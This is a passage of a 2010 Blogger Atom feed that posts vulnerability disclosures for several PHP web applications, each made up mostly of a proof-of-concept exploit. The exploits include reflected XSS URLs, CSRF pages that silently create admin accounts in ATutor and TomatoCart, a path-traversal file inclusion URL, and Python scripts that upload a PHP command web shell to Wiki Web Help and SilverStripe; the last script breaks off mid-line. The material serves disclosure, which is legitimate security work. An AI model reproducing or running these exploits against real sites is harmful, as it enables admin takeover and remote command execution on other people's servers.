style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="html"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;body onload=&amp;quot;document.forms[0].submit.click()&amp;quot;&amp;gt;&lt;br /&gt;        &amp;lt;form method=&amp;quot;POST&amp;quot; action=&amp;quot;http://localhost/atutor/mods/_core/users/admins/create.php&amp;quot;&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;form_password_hidden&amp;quot; value=&amp;quot;70ccd9007338d6d81dd3b6271621b9cf9a97ea00&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_error&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;login&amp;quot; value=&amp;quot;new_admin&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;confirm_password&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;real_name&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;email&amp;quot; value=&amp;quot;x@x.com&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;priv_admin&amp;quot; value=&amp;quot;1&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;Save&amp;quot; /&amp;gt;          &lt;br /&gt;        &amp;lt;/form&amp;gt;&lt;br /&gt;    &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-8624246653853285797?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/8624246653853285797/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/atutor-20-cross-site-request-forgery.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8624246653853285797'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8624246653853285797'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/atutor-20-cross-site-request-forgery.html' title='ATutor 2.0 Cross-site Request Forgery'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-5861981248352093607</id><published>2010-07-05T09:37:00.001-07:00</published><updated>2010-07-05T09:37:32.872-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Reflected XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>nuBuilder 10.04.20 Reflected XSS</title><content type='html'>An XSS vulnerability in nuBuilder 10.04.20 can be exploited to&lt;br /&gt;execute arbitrary JavaScript.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;http://localhost/nubuilder-10.04.20/productionnu2/nuedit.php?f=%3Cscript%3Ealert(0)%3C/script%3E&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-5861981248352093607?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/5861981248352093607/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/nubuilder-100420-reflected-xss.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5861981248352093607'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5861981248352093607'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/nubuilder-100420-reflected-xss.html' title='nuBuilder 10.04.20 Reflected XSS'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-200056681653186854</id><published>2010-07-05T09:36:00.003-07:00</published><updated>2010-07-05T09:36:52.934-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Reflected XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>News Office 2.0.18 Reflected XSS</title><content type='html'>An XSS vulnerability in News Office 2.0.18 can be exploited to&lt;br /&gt;execute arbitrary JavaScript.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;http://localhost/newsoffice/news_show.php?n-user=a&amp;amp;n-cat='%3E%3Cscript%3Ealert(0)%3C/script%3E&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-200056681653186854?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/200056681653186854/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/news-office-2018-reflected-xss.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/200056681653186854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/200056681653186854'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/news-office-2018-reflected-xss.html' title='News Office 2.0.18 Reflected XSS'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-8877365497836463614</id><published>2010-07-05T09:36:00.001-07:00</published><updated>2010-07-05T09:36:28.324-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Reflected XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Bit Weaver 2.7 Reflected XSS</title><content type='html'>An XSS vulnerability in Bit Weaver 2.7 can be exploited to&lt;br /&gt;execute arbitrary JavaScript.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;http://localhost/bitweaver/themes/preview_image.php?fImg=%22%3E%3Cscript%3Ealert(0)%3C/script%3E&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-8877365497836463614?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/8877365497836463614/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/bit-weaver-27-reflected-xss.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8877365497836463614'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8877365497836463614'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/bit-weaver-27-reflected-xss.html' title='Bit Weaver 2.7 Reflected XSS'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-4612002295561308668</id><published>2010-07-05T09:35:00.001-07:00</published><updated>2010-07-05T09:35:45.105-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Reflected XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>odCMS 1.07 Reflected XSS</title><content type='html'>An XSS vulnerability in odCMS 1.07 can be exploited to&lt;br /&gt;execute arbitrary JavaScript.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;http://localhost/odcms/codes/archive.php?design=%3Cscript%3Ealert(0)%3C/script%3E&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-4612002295561308668?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/4612002295561308668/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/odcms-107-reflected-xss.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4612002295561308668'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4612002295561308668'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/odcms-107-reflected-xss.html' title='odCMS 1.07 Reflected XSS'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-6867369040807030386</id><published>2010-07-05T09:34:00.000-07:00</published><updated>2010-07-05T09:35:12.188-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Reflected XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>NetworX 1.0.3 Reflected XSS</title><content type='html'>An XSS vulnerability in NetworX 1.0.3 can be exploited to&lt;br /&gt;execute arbitrary JavaScript.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;http://localhost/networx/group_connections_list_popup.php?group_id=%22%3E%3Cscript%3Ealert(0)%3C/script%3E&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-6867369040807030386?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/6867369040807030386/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/networx-103-reflected-xss.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/6867369040807030386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/6867369040807030386'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/networx-103-reflected-xss.html' title='NetworX 1.0.3 Reflected XSS'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-5601976566189491274</id><published>2010-07-05T09:33:00.000-07:00</published><updated>2010-07-05T09:34:29.536-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Reflected XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Orbis 1.0.2 Reflected XSS</title><content type='html'>An XSS vulnerability in Orbis 1.0.2 can be exploited to&lt;br /&gt;execute arbitrary JavaScript.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;http://localhost/orbis/admin/editors/text/editor-body.php?s=%22%3E%3Cscript%3Ealert(0)%3C/script%3E&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-5601976566189491274?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/5601976566189491274/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/orbis-102-reflected-xss.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5601976566189491274'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5601976566189491274'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/orbis-102-reflected-xss.html' title='Orbis 1.0.2 Reflected XSS'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-6619106333392504656</id><published>2010-07-01T20:47:00.000-07:00</published><updated>2010-07-01T20:51:29.236-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TomatoCart'/><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>TomatoCart 1.0 Cross-site Request Forgery</title><content type='html'>A cross-site request forgery vulnerability in TomatoCart 1.0 can be exploited to create a new admin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="html"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;body&amp;gt;&lt;br /&gt;        &amp;lt;img src=&amp;quot;http://localhost/tomatocart/admin/json.php?module=administrators&amp;amp;action=save_administrator&amp;amp;modules=categories%2Cfeature_products_manager%2Cmanufacturers%2Cproduct_variants%2Cproducts%2Cproducts_attributes%2Cproducts_expected%2Cquantity_discount_groups%2Creviews%2Csearch_terms%2Cspecials%2Cconfiguration%2Cwizard_installation%2Chomepage_meta_info%2Carticles%2Carticles_categories%2Cfaqs%2Cslide_images%2Crecorvered_cart%2Ccoupons%2Ccredits_memo%2Ccustomers%2Ccustomers_groups%2Cemail%2Cgift_certificates%2Cinvoices%2Corders%2Corders_returns%2Cpurchased_downloadables%2Ccountries%2Ccredit_cards%2Ccurrencies%2Cimage_groups%2Cinformation%2Clanguages%2Corders_status%2Ctax_classes%2Cunit_classes%2Cweight_classes%2Czone_groups%2Cmodules_geoip%2Cmodules_order_total%2Cmodules_payment%2Cmodules_shipping%2Cservices%2Creports_customers%2Creports_products%2Creports_web%2Clogo_upload%2Ctemplates%2Ctemplates_modules%2Ctemplates_modules_layout%2Cadministrators%2Cadministrators_log%2Cbackup%2Cbanner_manager%2Ccache%2Cdashboard%2Cemail_templates%2Cfile_manager%2Cgoogle_sitemap%2Cimages%2Cimport_export%2Cnewsletters%2Cserver_info%2Cwhos_online&amp;amp;access_globaladmin=on&amp;amp;user_name=new_admin&amp;amp;user_password=Password1&amp;amp;email_address=test%40test.com&amp;quot; /&amp;gt;&lt;br /&gt;    &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-6619106333392504656?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/6619106333392504656/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/tomatocart-10.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/6619106333392504656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/6619106333392504656'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/tomatocart-10.html' title='TomatoCart 1.0 Cross-site Request Forgery'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-5191861773301316561</id><published>2010-07-01T17:48:00.001-07:00</published><updated>2010-07-01T20:58:11.761-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Local File Inclusion'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Bit Weaver 2.7 Local File Inclusion</title><content type='html'>A local file inclusion vulnerability in Bit Weaver 2.7 can be exploited to include arbitrary files.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;http://localhost/bitweaver/wiki/rankings.php?style=../../../../../../../../windows/system.ini&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-5191861773301316561?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/5191861773301316561/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/bit-weaver-27-local-file-inclusion.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5191861773301316561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5191861773301316561'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/bit-weaver-27-local-file-inclusion.html' title='Bit Weaver 2.7 Local File Inclusion'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-8692595301048709533</id><published>2010-07-01T17:47:00.000-07:00</published><updated>2010-07-01T17:48:04.615-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Shell Upload'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Arbitrary File Upload'/><title type='text'>Wiki Web Help 0.2.7 Arbitrary Upload</title><content type='html'>An arbitrary upload vulnerability in Wiki Web Help 0.2.7 can be exploited to upload a PHP shell.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="py"&gt;import sys, socket&lt;br /&gt;host = 'localhost'&lt;br /&gt;path = '/wwh'&lt;br /&gt;port = 80&lt;br /&gt;&lt;br /&gt;def upload_shell():&lt;br /&gt;    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;    s.connect((host, port))&lt;br /&gt;    s.settimeout(8)    &lt;br /&gt;&lt;br /&gt;    s.send('POST ' + path + '/handlers/uploadimage.php HTTP/1.1\r\n'&lt;br /&gt;           'Host: ' + host + '\r\n'&lt;br /&gt;           'Proxy-Connection: keep-alive\r\n'&lt;br /&gt;           'Content-Length: 194\r\n'&lt;br /&gt;           'Cache-Control: max-age=0\r\n'           &lt;br /&gt;           'Content-Type: multipart/form-data; boundary=----x\r\n'&lt;br /&gt;           'Accept: text/html\r\n'&lt;br /&gt;           'Accept-Encoding: gzip,deflate,sdch\r\n'&lt;br /&gt;           'Accept-Language: en-US,en;q=0.8\r\n'&lt;br /&gt;           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n'&lt;br /&gt;           '------x\r\n'&lt;br /&gt;           'Content-Disposition: form-data; name=&amp;quot;imagefile&amp;quot;; filename=&amp;quot;shell.php&amp;quot;\r\n'&lt;br /&gt;           'Content-Type: application/octet-stream\r\n\r\n'&lt;br /&gt;           '&amp;lt;?php echo \'&amp;lt;pre&amp;gt;\' + system($_GET[\'CMD\']) + \'&amp;lt;/pre&amp;gt;\'; ?&amp;gt;\r\n'&lt;br /&gt;           '------x--\r\n\r\n')&lt;br /&gt;&lt;br /&gt;    resp = s.recv(8192)&lt;br /&gt;&lt;br /&gt;    http_ok = 'HTTP/1.1 200 OK'&lt;br /&gt;    &lt;br /&gt;    if http_ok not in resp:&lt;br /&gt;        print 'error uploading shell'&lt;br /&gt;        return&lt;br /&gt;    else: print 'shell uploaded'&lt;br /&gt;&lt;br /&gt;    s.send('GET ' + path + '/images/shell.php HTTP/1.1\r\n'\&lt;br /&gt;           'Host: ' + host + '\r\n\r\n')&lt;br /&gt;&lt;br /&gt;    if http_ok not in s.recv(8192): print 'shell not found'        &lt;br /&gt;    else: print 'shell located at ' + path + '/images/shell.php'&lt;br /&gt;&lt;br /&gt;upload_shell()&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-8692595301048709533?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/8692595301048709533/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/wiki-web-help-027-arbitrary-upload.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8692595301048709533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8692595301048709533'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/wiki-web-help-027-arbitrary-upload.html' title='Wiki Web Help 0.2.7 Arbitrary Upload'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-8870523675940396886</id><published>2010-07-01T17:43:00.000-07:00</published><updated>2010-07-01T17:46:44.856-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Reflected XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Wiki Web Help 0.2.7 Persistent/Reflected XSS</title><content type='html'>Several XSS vulnerabilities in Wiki Web Help 0.2.7 can be exploited to execute arbitrary JavaScript.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit&lt;/span&gt;&lt;br /&gt;Persistent: Event attributes are not removed from user submitted HTML elements.&lt;br /&gt;&lt;br /&gt;Reflected: The rev query string field of revert.php does not HTML encode user submitted data.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;Persistent: &amp;lt;div onmouseover=&amp;quot;alert(0)&amp;quot; style=&amp;quot;margin:-500px;width:9999px;height:9999px;position:absolute;&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;Reflected: http://localhost/wwh/revert.php?rev=%3Cscript%3Ealert(0)%3C/script%3E&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-8870523675940396886?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/8870523675940396886/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/wiki-web-help-027.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8870523675940396886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8870523675940396886'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/wiki-web-help-027.html' title='Wiki Web Help 0.2.7 Persistent/Reflected XSS'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-2106424930640757271</id><published>2010-06-07T14:19:00.000-07:00</published><updated>2010-06-07T14:22:27.248-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Shell Upload'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Arbitrary File Upload'/><title type='text'>SilverStripe CMS 2.4.0 Arbitrary Upload</title><content type='html'>An arbitrary upload vulnerability in SilverStripe CMS 2.4.0 can be exploited to upload a PHP shell. A user account with File &amp; Images permission is necessary to exploit this vulnerability.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Silverstripe-Shell.py&lt;/span&gt;&lt;pre name="code" class="py"&gt;import sys, socket, re&lt;br /&gt;host = '192.168.1.4'&lt;br /&gt;path = '/silverstripe'&lt;br /&gt;username = 'admin'&lt;br /&gt;password = 'Password1'&lt;br /&gt;port = 80&lt;br /&gt;&lt;br /&gt;def send_request(request):&lt;br /&gt;    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;    s.connect((host, port))&lt;br /&gt;    s.settimeout(8)&lt;br /&gt;&lt;br /&gt;    s.send(request)&lt;br /&gt;&lt;br /&gt;    resp = ''&lt;br /&gt;&lt;br /&gt;    while 1:&lt;br /&gt;        r = s.recv(8192)&lt;br /&gt;        if not r: break&lt;br /&gt;        resp += r&lt;br /&gt;        if r[:15] == 'HTTP/1.1 302 OK': break&lt;br /&gt;&lt;br /&gt;    s.close()&lt;br /&gt;&lt;br /&gt;    return resp&lt;br /&gt;&lt;br /&gt;def upload_shell():&lt;br /&gt;    print 'authenticating'&lt;br /&gt;&lt;br /&gt;    content = 'AuthenticationMethod=MemberAuthenticator&amp;Email=' + username + '&amp;Password='+ password + '&amp;action_dologin=Log+in'&lt;br /&gt;&lt;br /&gt;    header = 'POST http://' + host + path + '/Security/LoginForm HTTP/1.1\r\n'\&lt;br /&gt;             'Host: ' + host + '\r\n'\&lt;br /&gt;             'Connection: keep-alive\r\n'\&lt;br /&gt;             'User-Agent: x\r\n'\&lt;br /&gt;             'Content-Length: ' + str(len(content)) + '\r\n'\&lt;br /&gt;             'Cache-Control: max-age=0\r\n'\&lt;br /&gt;             'Origin: http://' + host + '\r\n'\&lt;br /&gt;             'Content-Type: application/x-www-form-urlencoded\r\n'\&lt;br /&gt;             'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'\&lt;br /&gt;             'Accept-Encoding: gzip,deflate,sdch\r\n'\&lt;br /&gt;             'Accept-Language: en-US,en;q=0.8\r\n'\&lt;br /&gt;             'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\&lt;br /&gt;             '\r\n'    &lt;br /&gt;&lt;br /&gt;    resp = send_request(header + content)&lt;br /&gt;&lt;br /&gt;    print 'uploading shell'&lt;br /&gt;&lt;br /&gt;    match = re.findall(u'Set-Cookie:\s([^\r\n]+)', resp)&lt;br /&gt;&lt;br /&gt;    for m in match:&lt;br 